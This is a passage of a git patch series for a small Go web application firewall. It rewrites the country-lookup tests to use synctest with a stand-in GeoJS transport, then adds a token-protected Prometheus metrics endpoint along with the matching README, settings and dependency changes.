netip.MustParsePrefix("203.0.113.9/32") + notPlaced := netip.MustParsePrefix(unplaced + "/32") - wantCountry(t, g, placed, germany) - wantCountry(t, g, notPlaced, "") - wantRequests(t, geojs, 2) + wantCountry(t, g, placed, germany) + wantCountry(t, g, notPlaced, "") + wantRequests(t, geojs, 2) - // An answer without a country is kept too. - clock.advance(week - time.Second) - wantCountry(t, g, placed, germany) - wantCountry(t, g, notPlaced, "") - wantRequests(t, geojs, 2) + // An answer without a country is kept too. + clock.advance(week - time.Second) + wantCountry(t, g, placed, germany) + wantCountry(t, g, notPlaced, "") + wantRequests(t, geojs, 2) - clock.advance(time.Second) - wantCountry(t, g, placed, germany) - wantRequests(t, geojs, 3) - wantAsked(t, geojs, 2, "203.0.113.9") + clock.advance(time.Second) + wantCountry(t, g, placed, germany) + wantRequests(t, geojs, 3) + wantAsked(t, geojs, 2, "203.0.113.9") + }) } func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) - client := netip.MustParsePrefix("203.0.113.9/32") + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() + client := netip.MustParsePrefix("203.0.113.9/32") - // The client comes while GeoJS is asked about an earlier client, which - // it answers most of a second later. It is then asked about the client - // and does not answer: that request is abandoned a second after it - // began, well after the client's wait is over. - geojs.set(answeringSlowly) + // The client comes while GeoJS is asked about an earlier client, which + // it answers most of a second later. It is then asked about the client + // and does not answer: that request is abandoned a second after it + // began, well after the client's wait is over. + geojs.set(answeringSlowly) - var earlier sync.WaitGroup + var earlier sync.WaitGroup - earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) - defer earlier.Wait() + earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) + defer earlier.Wait() - waitForRequests(t, geojs, 1) - geojs.set(hanging) + waitForRequests(t, geojs, 1) + geojs.set(hanging) - began := time.Now() + began := time.Now() - wantCountry(t, g, client, "") + wantCountry(t, g, client, "") - took := time.Since(began) - if took < timeout || took > timeout+timeout/2 { - t.Errorf("waited %s for the answer, want %s", took, timeout) - } + took := time.Since(began) + if took != timeout { + t.Errorf("waited %s for the answer, want %s", took, timeout) + } - // Its next request does not wait. - began = time.Now() + // Its next request does not wait. + began = time.Now() - wantCountry(t, g, client, "") + wantCountry(t, g, client, "") - took = time.Since(began) - if took > timeout/2 { - t.Errorf("waited %s again, want no wait", took) - } + took = time.Since(began) + if took != 0 { + t.Errorf("waited %s again, want no wait", took) + } - // Once GeoJS answers, the client is asked about again in the - // background, and has its country. - geojs.set(answering) - waitForCountry(t, g, clock, client, germany) + // Once GeoJS answers, the client is asked about again in the + // background, and has its country. + geojs.set(answering) + waitForCountry(t, g, clock, client, germany) + }) } func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) { @@ -118,33 +126,35 @@ func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) - other := netip.MustParsePrefix("203.0.113.1/32") - client := netip.MustParsePrefix(leftOut + "/32") + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() + other := netip.MustParsePrefix("203.0.113.1/32") + client := netip.MustParsePrefix(leftOut + "/32") - // GeoJS fails, and is left alone for a second while the client - // comes too, so that the next request asks about both. - geojs.set(failing) - wantCountry(t, g, other, "") - wantCountry(t, g, client, "") + // GeoJS fails, and is left alone for a second while the client + // comes too, so that the next request asks about both. + geojs.set(failing) + wantCountry(t, g, other, "") + wantCountry(t, g, client, "") - geojs.set(tc.answers) - clock.advance(time.Second) - wantCountry(t, g, other, "") - waitForRequests(t, geojs, 2) + geojs.set(tc.answers) + clock.advance(time.Second) + wantCountry(t, g, other, "") + waitForRequests(t, geojs, 2) - // The answer counts as a failure, and the client is asked about - // again, with the other client only if the answer left it out too. - geojs.set(answering) - waitForCountry(t, g, clock, client, germany) - wantCountry(t, g, other, germany) - wantRequests(t, geojs, 3) + // The answer counts as a failure, and the client is asked about + // again, with the other client only if the answer left it out too. + geojs.set(answering) + waitForCountry(t, g, clock, client, germany) + wantCountry(t, g, other, germany) + wantRequests(t, geojs, 3) - if tc.named { - wantAsked(t, geojs, 2, leftOut) - } else { - wantAsked(t, geojs, 2, leftOut, "203.0.113.1") - } + if tc.named { + wantAsked(t, geojs, 2, leftOut) + } else { + wantAsked(t, geojs, 2, leftOut, "203.0.113.1") + } + }) }) } } @@ -152,173 +162,190 @@ func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) { func TestRedirectCountsAsFailure(t *testing.T) { t.Parallel() - geojs, _, g := start(t) - geojs.set(redirecting) + synctest.Test(t, func(t *testing.T) { + geojs, _, g := start() + geojs.set(redirecting) - wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") - wantRequests(t, geojs, 1) + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") + wantRequests(t, geojs, 1) + }) } func TestCountryIsKeptInCapitals(t *testing.T) { t.Parallel() - geojs, _, g := start(t) - geojs.set(answeringInLowerCase) + synctest.Test(t, func(t *testing.T) { + geojs, _, g := start() + geojs.set(answeringInLowerCase) - wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany) + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany) + }) } func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { t.Parallel() - var log strings.Builder + synctest.Test(t, func(t *testing.T) { + var log strings.Builder - // Nothing listens on port 1, so asking GeoJS fails. - g := lookup.New(lookup.Params{ - URL: "http://127.0.0.1:1", - Now: time.Now, - ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), + // GeoJS does not answer, so the request to it is abandoned, and fails. + geojs := &standIn{answers: hanging} + g := lookup.New(lookup.Params{ + URL: lookup.URL, + Now: time.Now, + ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), + }) + g.SetTransport(geojs) + + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") + synctest.Wait() + + logged := log.String() + if !strings.Contains(logged, "asking GeoJS failed") || + strings.Contains(logged, "203.0.113.9") { + t.Errorf("logged %q, want the failure without the address asked about", logged) + } }) - - wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") - - logged := log.String() - if !strings.Contains(logged, "asking GeoJS failed") || - strings.Contains(logged, "203.0.113.9") { - t.Errorf("logged %q, want the failure without the address asked about", logged) - } } func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() - // GeoJS fails, and is then left alone for a second, while three more - // clients come. An IPv6 client is a /64, and GeoJS is asked about its - // first address. - geojs.set(failing) - wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "") - wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "") - wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "") - wantRequests(t, geojs, 1) + // GeoJS fails, and is then left alone for a second, while three more + // clients come. An IPv6 client is a /64, and GeoJS is asked about its + // first address. + geojs.set(failing) + wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "") + wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "") + wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "") + wantRequests(t, geojs, 1) - geojs.set(answering) - clock.advance(time.Second) - wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) - wantRequests(t, geojs, 2) - wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3") + geojs.set(answering) + clock.advance(time.Second) + wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) + wantRequests(t, geojs, 2) + wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3") + }) } func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) - clients := newClients() - kept := clients() + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() + clients := newClients() + kept := clients() - wantCountry(t, g, kept, germany) - - geojs.set(failing) - wantCountry(t, g, kept, germany) - wantRequests(t, geojs, 1) - - // Each failure leaves GeoJS alone twice as long as the one before, up - // to five minutes. New clients meanwhile count as not found, and the - // client with a kept answer still gets its country, without GeoJS being - // asked. - requests := 1 - - for _, delay := range []time.Duration{ - time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second, - 16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second, - 256 * time.Second, 5 * time.Minute, 5 * time.Minute, - } { - wantCountry(t, g, clients(), "") - - requests++ - wantRequests(t, geojs, requests) - - clock.advance(delay - time.Millisecond) - wantCountry(t, g, clients(), "") wantCountry(t, g, kept, germany) - wantRequests(t, geojs, requests) - clock.advance(time.Millisecond) - } + geojs.set(failing) + wantCountry(t, g, kept, germany) + wantRequests(t, geojs, 1) - // Once GeoJS answers again, it is asked about every client waiting. - geojs.set(answering) - wantCountry(t, g, clients(), germany) - wantRequests(t, geojs, requests+1) + // Each failure leaves GeoJS alone twice as long as the one before, up + // to five minutes. New clients meanwhile count as not found, and the + // client with a kept answer still gets its country, without GeoJS being + // asked. + requests := 1 - asked := waitForRequests(t, geojs, requests+1) - if len(asked[requests]) != 23 { - t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests])) - } + for _, delay := range []time.Duration{ + time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second, + 16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second, + 256 * time.Second, 5 * time.Minute, 5 * time.Minute, + } { + wantCountry(t, g, clients(), "") + + requests++ + wantRequests(t, geojs, requests) + + clock.advance(delay - time.Millisecond) + wantCountry(t, g, clients(), "") + wantCountry(t, g, kept, germany) + wantRequests(t, geojs, requests) + + clock.advance(time.Millisecond) + } + + // Once GeoJS answers again, it is asked about every client waiting. + geojs.set(answering) + wantCountry(t, g, clients(), germany) + wantRequests(t, geojs, requests+1) + + asked := waitForRequests(t, geojs, requests+1) + if len(asked[requests]) != 23 { + t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests])) + } + }) } func TestAtMost200AddressesInOneRequest(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) - clients := newClients() - first := clients() + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() + clients := newClients() + first := clients() - // 201 clients wait while GeoJS is left alone after a failure. - geojs.set(failing) - wantCountry(t, g, first, "") + // 201 clients wait while GeoJS is left alone after a failure. + geojs.set(failing) + wantCountry(t, g, first, "") - for range 200 { - wantCountry(t, g, clients(), "") - } + for range 200 { + wantCountry(t, g, clients(), "") + } - // The first one's next request has GeoJS asked again. - geojs.set(answering) - clock.advance(time.Second) - wantCountry(t, g, first, "") + // The first one's next request has GeoJS asked again. + geojs.set(answering) + clock.advance(time.Second) + wantCountry(t, g, first, "") - asked := waitForRequests(t, geojs, 3) - if len(asked[1]) != 200 || len(asked[2]) != 1 { - t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1", - len(asked[1]), len(asked[2])) - } + asked := waitForRequests(t, geojs, 3) + if len(asked[1]) != 200 || len(asked[2]) != 1 { + t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1", + len(asked[1]), len(asked[2])) + } + }) } func TestAtMost10000ClientsWait(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) - clients := newClients() - first := clients() + synctest.Test(t, func(t *testing.T) { + geojs, clock, g := start() + clients := newClients() + first := clients() - // 10,000 clients wait while GeoJS is left alone after a failure, and - // one more cannot join them. - geojs.set(failing) - wantCountry(t, g, first, "") + // 10,000 clients wait while GeoJS is left alone after a failure, and + // one more cannot join them. + geojs.set(failing) + wantCountry(t, g, first, "") - for range 9999 { - wantCountry(t, g, clients(), "") - } - - extra := clients() - wantCountry(t, g, extra, "") - - // The first one's next request has GeoJS asked about the 10,000, 200 - // at a time, and not about the one more. - geojs.set(answering) - clock.advance(time.Second) - wantCountry(t, g, first, "") - - asked := waitForRequests(t, geojs, 51) - for i, request := range asked { - if slices.Contains(request, extra.Addr().String()) { - t.Errorf("request %d asked about %s", i, extra.Addr()) + for range 9999 { + wantCountry(t, g, clients(), "") } - } - // With room among those waiting, it is asked about. - wantCountry(t, g, extra, germany) + extra := clients() + wantCountry(t, g, extra, "") + + // The first one's next request has GeoJS asked about the 10,000, 200 + // at a time, and not about the one more. + geojs.set(answering) + clock.advance(time.Second) + wantCountry(t, g, first, "") + + asked := waitForRequests(t, geojs, 51) + for i, request := range asked { + if slices.Contains(request, extra.Addr().String()) { + t.Errorf("request %d asked about %s", i, extra.Addr()) + } + } + + // With room among those waiting, it is asked about. + wantCountry(t, g, extra, germany) + }) } // How the stand-in for GeoJS answers. @@ -337,13 +364,25 @@ const ( // standIn is a stand-in for GeoJS. It notes the addresses each request // asks about. type standIn struct { - server *httptest.Server - mu sync.Mutex answers int requests [][]string } +// RoundTrip has the stand-in answer req, in place of the network. A request +// abandoned before the stand-in answers fails, as over the network. +func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) { + answer := httptest.NewRecorder() + s.ServeHTTP(answer, req) + + err := req.Context().Err() + if err != nil { + return nil, err + } + + return answer.Result(), nil +} + // ServeHTTP answers a request about the addresses in its ip parameter. func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) { addrs := strings.Split(r.URL.Query().Get("ip"), ",") @@ -422,7 +461,8 @@ func (s *standIn) asked() [][]string { return slices.Clone(s.requests) } -// testClock is a clock the test sets. +// testClock is a clock the test sets. GeoJS tells the time by it, while +// waits run on the bubble's clock. type testClock struct { mu sync.Mutex now time.Time @@ -444,21 +484,17 @@ func (c *testClock) advance(d time.Duration) { c.now = c.now.Add(d) } -// start starts a stand-in for GeoJS that answers, and returns it, a -// clock, and a GeoJS asking it by that clock. -func start(t *testing.T) (*standIn, *testClock, *lookup.GeoJS) { - t.Helper() - +// start returns a stand-in for GeoJS that answers, a clock, and a GeoJS +// asking the stand-in by that clock. +func start() (*standIn, *testClock, *lookup.GeoJS) { geojs := &standIn{} - geojs.server = httptest.NewServer(geojs) - t.Cleanup(geojs.server.Close) - clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)} g := lookup.New(lookup.Params{ - URL: geojs.server.URL, + URL: lookup.URL, Now: clock.Now, ProcessLog: slog.New(slog.DiscardHandler), }) + g.SetTransport(geojs) return geojs, clock, g } @@ -513,41 +549,34 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) { } } -// waitForRequests waits for GeoJS to have had count requests, and returns -// the addresses each asked about. +// waitForRequests waits until g has done all it can before time passes, +// checks that GeoJS has had count requests, and returns the addresses each +// asked about. func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string { t.Helper() - deadline := time.Now().Add(waitLimit) - for time.Now().Before(deadline) { - asked := geojs.asked() - if len(asked) >= count { - return asked - } + synctest.Wait() - time.Sleep(pollInterval) + asked := geojs.asked() + if len(asked) != count { + t.Fatalf("GeoJS had %d requests, want %d", len(asked), count) } - t.Fatalf("fewer than %d requests to GeoJS after %s", count, waitLimit) - - return nil + return asked } -// waitForCountry waits for g to give client the country want, moving the -// clock on a minute at a time, so that GeoJS is asked again after a -// failure. +// waitForCountry lets a request to GeoJS under way be abandoned, and moves +// the clock on a minute, so that GeoJS may be asked again after a failure. +// It then checks that client's next request does not wait but has it asked +// about again in the background, after which g gives it the country want. func waitForCountry( t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string, ) { t.Helper() - deadline := time.Now().Add(waitLimit) - for g.Country(t.Context(), client) != want { - if time.Now().After(deadline) { - t.Fatalf("%s is not in %q after %s", client, want, waitLimit) - } - - clock.advance(time.Minute) - time.Sleep(pollInterval) - } + time.Sleep(timeout) + clock.advance(time.Minute) + wantCountry(t, g, client, "") + synctest.Wait() + wantCountry(t, g, client, want) } diff --git a/internal/lookup/snapshot_test.go b/internal/lookup/snapshot_test.go index 780687b..eb3b2df 100644 --- a/internal/lookup/snapshot_test.go +++ b/internal/lookup/snapshot_test.go @@ -4,6 +4,7 @@ import ( "net/netip" "slices" "testing" + "testing/synctest" "time" "sneak.berlin/go/smallwebwaf/internal/lookup" @@ -12,30 +13,32 @@ import ( func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) { t.Parallel() - _, clock, g := start(t) - placed := netip.MustParsePrefix("203.0.113.9/32") - notPlaced := netip.MustParsePrefix(unplaced + "/32") - asked := clock.Now() + synctest.Test(t, func(t *testing.T) { + _, clock, g := start() + placed := netip.MustParsePrefix("203.0.113.9/32") + notPlaced := netip.MustParsePrefix(unplaced + "/32") + asked := clock.Now() - wantCountry(t, g, placed, germany) - wantCountry(t, g, notPlaced, "") + wantCountry(t, g, placed, germany) + wantCountry(t, g, notPlaced, "") - clock.advance(time.Hour) - wantCountry(t, g, placed, germany) + clock.advance(time.Hour) + wantCountry(t, g, placed, germany) - want := []lookup.Answer{ - {Client: notPlaced, Country: "", Answered: asked, Used: asked}, - {Client: placed, Country: germany, Answered: asked, Used: asked.Add(time.Hour)}, - } - if got := g.Snapshot(); !slices.Equal(got, want) { - t.Errorf("snapshot\n%+v\nwant\n%+v", got, want) - } + want := []lookup.Answer{ + {Client: notPlaced, Country: "", Answered: asked, Used: asked}, + {Client: placed, Country: germany, Answered: asked, Used: asked.Add(time.Hour)}, + } + if got := g.Snapshot(); !slices.Equal(got, want) { + t.Errorf("snapshot\n%+v\nwant\n%+v", got, want) + } + }) } func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) { t.Parallel() - geojs, clock, g := start(t) + geojs, clock, g := start() now := clock.Now() kept := lookup.Answer{ Client: netip.MustParsePrefix("203.0.113.9/32"), @@ -65,7 +68,7 @@ func TestLoadDropsTheAnswerUsedLongestAgoFirst(t *testing.T) { const maxAnswers = 100000 - _, clock, g := start(t) + _, clock, g := start() now := clock.Now() // lookups.json lists the answers by client. Here each was last used a From 234c5eac605d4180ad7b3e6a9b40a9eeb12474a2 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 11:40:27 +0200 Subject: [PATCH 21/64] Serve Prometheus metrics behind SWWAF_METRICS_TOKEN (closes #23) GET /_smallwebwaf/metrics answers in the Prometheus text format for a request carrying SWWAF_METRICS_TOKEN, 401 without it and 404 while it is unset. Every request under /_smallwebwaf/ but the health check now goes through the checks and is answered where it would be forwarded, 404 for any path but the metrics, so none reaches the app. In the client's history a 401 counts as refused, the metrics and the 404s as neither. SWWAF_METRICS_TOP_N bounds the series by country, the rest counted as other. Deviation: go.mod and go.sum written by hand, as go runs only through make. Deviation: no metrics yet for state files read again after an edit or edits set aside; that work is not merged. Model: opus-5-5 --- README.md | 112 ++++-- go.mod | 17 +- go.sum | 36 ++ internal/bans/bans.go | 35 ++ internal/config/config.go | 34 ++ internal/config/config_test.go | 55 ++- internal/lookup/lookup.go | 17 + internal/lookup/lookup_test.go | 49 +++ internal/metrics/countries.go | 116 ++++++ internal/metrics/metrics.go | 257 +++++++++++++ internal/proxy/admin.go | 43 +++ internal/proxy/bans_test.go | 32 +- internal/proxy/bodies.go | 2 + internal/proxy/history_test.go | 21 ++ internal/proxy/limits_test.go | 16 + internal/proxy/metrics_test.go | 455 +++++++++++++++++++++++ internal/proxy/proxy.go | 30 +- internal/proxy/request.go | 68 +++- internal/proxy/timeouts_test.go | 43 ++- internal/ratelimit/history_test.go | 13 +- internal/ratelimit/ratelimit.go | 23 +- internal/smallwebwaf/smallwebwaf.go | 1 + internal/smallwebwaf/smallwebwaf_test.go | 22 ++ internal/state/state.go | 18 +- internal/state/state_test.go | 116 +++++- 25 files changed, 1548 insertions(+), 83 deletions(-) create mode 100644 internal/metrics/countries.go create mode 100644 internal/metrics/metrics.go create mode 100644 internal/proxy/admin.go create mode 100644 internal/proxy/metrics_test.go diff --git a/README.md b/README.md index 43c006b..0c020a0 100644 --- a/README.md +++ b/README.md @@ -13,19 +13,20 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and -https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are four parts of +https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are five parts of milestone 3: the static lists, the bans that broken rate limits lead to and the -JSON state files, which come next in the build order, and the header size and -the idle time as settings, which come last in it. `smallwebwaf` passes each -request to the app and the app's answer back, unchanged, within its timeouts and -size limits, works out each client's address, bans a client that sends too many -requests, refuses a client that comes from a country you refuse or from a -network you refuse, lets the networks you choose through, keeps its bans, each -client's counters and history, and GeoJS's answers in JSON files across -restarts, and writes a JSON log line for every request. It comes as the image -the app's own image is built on. The rest of the design comes after that, in the -order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools -that led to the design is in [`EVALUATION.md`](EVALUATION.md). +JSON state files, which come next in the build order, and the metrics endpoint +and the header size and the idle time as settings, which come last in it. +`smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +bans a client that sends too many requests, refuses a client that comes from a +country you refuse or from a network you refuse, lets the networks you choose +through, keeps its bans, each client's counters and history, and GeoJS's answers +in JSON files across restarts, writes a JSON log line for every request, and +serves Prometheus metrics to a scraper that holds the metrics token. It comes as +the image the app's own image is built on. The rest of the design comes after +that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey of +existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -119,6 +120,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. limits; the country lists and bans still apply to it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. +- Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for + a request that carries `SWWAF_METRICS_TOKEN` as + `Authorization: Bearer `, and with `401` for one that does not. While + the token is unset the metrics answer `404`, as does any other request under + `/_smallwebwaf/`. Unlike the health check, such a request goes through every + check any other request goes through, and is answered where another would be + passed to the app: a banned client stays refused, and each counts toward the + client's rate limits. None of them reaches the app. - Writes a line in the request log for each request (see "Request log" below). ## Settings @@ -194,6 +203,12 @@ it, and the effective settings are logged at start. `bans.json` is written, with every ban made in between. - `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is written. +- `SWWAF_METRICS_TOKEN` (default unset): the token a scraper sends for the + metrics, a long random value. While it is unset the metrics are off; one + shorter than 32 characters stops the start. The settings logged at start show + `********` in its place. +- `SWWAF_METRICS_TOP_N` (default `50`): how many countries get series of their + own in the metrics by country; the others are counted as `other`. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 @@ -203,8 +218,8 @@ ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches a timeout, a size limit or a rate limit off; -`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban settings and the state settings -cannot be off. +`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban settings, the state settings +and `SWWAF_METRICS_TOP_N` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. A new @@ -268,10 +283,11 @@ entries by client address, with times in UTC. `expires` is `null`. - `clients.json`: each client's two buckets in the minute, the hour and the day, and its history: when it was first and last seen, its country as last looked - up and when, its requests, how many were forwarded and how many refused, the - body bytes in each direction, its responses by status class and its offences - by kind. Each client is on a line of its own, so `grep` shows everything about - one. + up and when, its requests, how many were forwarded and how many refused (one + `smallwebwaf` answered at its own endpoints is neither, unless it was refused + with `401` for a missing or wrong token), the body bytes in each direction, + its responses by status class and its offences by kind. Each client is on a + line of its own, so `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, with when GeoJS gave each and when it was last used. @@ -299,6 +315,50 @@ answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or write: taking it in comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. The AS number and AS name come with their lookup. +## Metrics + +`GET /_smallwebwaf/metrics` answers with the metrics in the Prometheus text +format, for a scraper that sends `SWWAF_METRICS_TOKEN`, through traefik like any +other request. No metric carries a client's address. + +- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and + `smallwebwaf_response_bytes_total`: requests, and their body bytes each way, + by `status_class`, such as `2xx`, or `none` when nothing was sent, and by + `action`, as the request log names it. +- `smallwebwaf_request_duration_seconds`: how long requests took, and + `smallwebwaf_upstream_duration_seconds`: how long those passed to the app took + from then on, as histograms; `smallwebwaf_requests_in_flight`: the requests + under way. +- `smallwebwaf_rate_limit_hits_total` by `window`, + `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose + limit was passed, `smallwebwaf_offences_total` by `kind`, and + `smallwebwaf_bans_made_total` by `cause`; `smallwebwaf_active_bans` and + `smallwebwaf_permanent_bans`. +- `smallwebwaf_country_requests_total`, + `smallwebwaf_country_request_bytes_total`, + `smallwebwaf_country_response_bytes_total`, and + `smallwebwaf_country_list_refusals_total`, the requests the country lists + refused, by `country`, for the requests whose client's country is known. The + `SWWAF_METRICS_TOP_N` countries with the most requests since the start have + series of their own, and the others are counted as `other`. A country that + drops out of them loses its series, and its later requests count as `other`; + one that comes into them gets a series that counts from then on. +- `smallwebwaf_geojs_requests_total`: the requests to GeoJS; + `smallwebwaf_geojs_failures_total`: those that failed, an answer that leaves + out an address asked about included; and `smallwebwaf_geojs_unanswered_total`: + the requests whose client counted as coming from an unknown country because + GeoJS had not answered about it in time. +- `smallwebwaf_tracked_clients`: the clients in the table of clients. +- `smallwebwaf_state_file_writes_total`, + `smallwebwaf_state_file_write_failures_total`, + `smallwebwaf_state_file_last_write_timestamp_seconds` and + `smallwebwaf_state_file_size_bytes`, by `file`. +- Go's own `go_` metrics and the process's `process_` metrics. + +The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request +log") are not counted. The metrics of the features still to come, such as the +rule files, come with them. + ## Why Small self-hosted sites now receive a great deal of traffic nobody asked for: @@ -583,7 +643,10 @@ addresses are never sent to GeoJS. limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for a ban, for the country lists, for a rate limit, which bans the client, and for - an announced body over the size limit. + an announced body over the size limit. A request under `/_smallwebwaf/` that + `check` lets through is answered by `answerAdmin` instead of reaching the app. +- `internal/metrics`: the metrics, counted as the other parts tell it what + happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how long a new ban lasts, and which ban is dropped when `SWWAF_MAX_BANS` are held. - `internal/lookup`: looks up each client's country through GeoJS, and keeps the @@ -602,8 +665,9 @@ addresses are never sent to GeoJS. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000, the GeoJS answers to 100,000 and the banned -netblocks to `SWWAF_MAX_BANS`, dropping the least recently seen. The country -codes are the list in `internal/config/config.go`. +netblocks to `SWWAF_MAX_BANS`, dropping the least recently seen, and +`github.com/prometheus/client_golang` keeps the metrics and serves them. The +country codes are the list in `internal/config/config.go`. ## Entrypoints @@ -647,9 +711,9 @@ so that they run in minimal containers. ## TODO - The rest of milestone 3, from taking in an admin's edits to the state files - (https://git.eeqj.de/sneak/smallwebwaf/issues/68) up to the metrics endpoint, - and the rest of the design, in the order of the build order in - [`SPEC.md`](SPEC.md). + (https://git.eeqj.de/sneak/smallwebwaf/issues/68) up to the rest of the + request log's fields, and the rest of the design, in the order of the build + order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/go.mod b/go.mod index 7e30871..a033322 100644 --- a/go.mod +++ b/go.mod @@ -2,4 +2,19 @@ module sneak.berlin/go/smallwebwaf go 1.26.0 -require github.com/hashicorp/golang-lru/v2 v2.0.7 +require ( + github.com/hashicorp/golang-lru/v2 v2.0.7 + github.com/prometheus/client_golang v1.24.1 +) + +require ( + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/kylelemons/godebug v1.1.0 // indirect + github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect + github.com/prometheus/client_model v0.6.2 // indirect + github.com/prometheus/common v0.70.1 // indirect + github.com/prometheus/procfs v0.21.1 // indirect + golang.org/x/sys v0.47.0 // indirect + google.golang.org/protobuf v1.36.11 // indirect +) diff --git a/go.sum b/go.sum index a33c54a..c02c3da 100644 --- a/go.sum +++ b/go.sum @@ -1,2 +1,38 @@ +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/go-cmp v0.7.0 